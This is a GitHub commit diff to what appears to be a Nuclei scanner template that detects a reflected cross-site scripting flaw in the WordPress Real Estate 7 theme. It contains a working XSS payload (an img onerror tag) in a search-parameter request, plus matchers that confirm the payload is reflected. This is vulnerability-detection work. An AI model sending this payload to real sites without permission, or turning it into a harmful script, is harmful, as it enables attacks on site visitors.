fix-template

patch-1
Dhiyaneshwaran 2023-08-16 23:41:35 +05:30 committed by GitHub
parent 05084960d7
commit 44a037fa78
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 10 additions and 7 deletions

View File

@ -9,23 +9,26 @@ info:
reference:
- https://www.exploitalert.com/view-details.html?id=39344
- https://packetstormsecurity.com/files/171186/WordPress-Real-Estate-7-Theme-3.3.4-Cross-Site-Scripting.html
- https://themeforest.net/item/wp-pro-real-estate-7-responsive-real-estate-wordpress-theme/12473778
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cwe-id: CWE-79
metadata:
tags: wordpress,wp,wp-plugin,xss
publicwww-query: "/wp-content/themes/realestate-7/"
verified: true
max-request: 1
tags: wordpress,wp-theme,wp,xss,realestate
http:
- raw:
- |
GET /?ct_keyword=%22%3E%3Cimg%20src%3Dx%20onerror%3Dprompt%28document.domain%29%3E&ct_city=0&ct_state=0&ct_zipcode=0&search-listings=true&ct_property_type=0&ct_beds=0&ct_baths=0&ct_price_from&ct_price_to HTTP/2
Host: {{Hostname}}
- method: GET
path:
- "{{BaseURL}}/?ct_keyword=%22%3E%3Cimg%20src%3Dx%20onerror%3Dprompt%28document.domain%29%3E&ct_city=0&ct_state=0&ct_zipcode=0&search-listings=true&ct_property_type=0&ct_beds=0&ct_baths=0&ct_price_from&ct_price_to"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "onerror=prompt(document.domain)>")'
- 'contains(all_headers, "text/html")'
- 'contains(content_type, "text/html")'
- 'contains(body, "<img src=x onerror=prompt(document.domain)>") && contains(body, "/wp-content/themes/realestate-7/")'
condition: and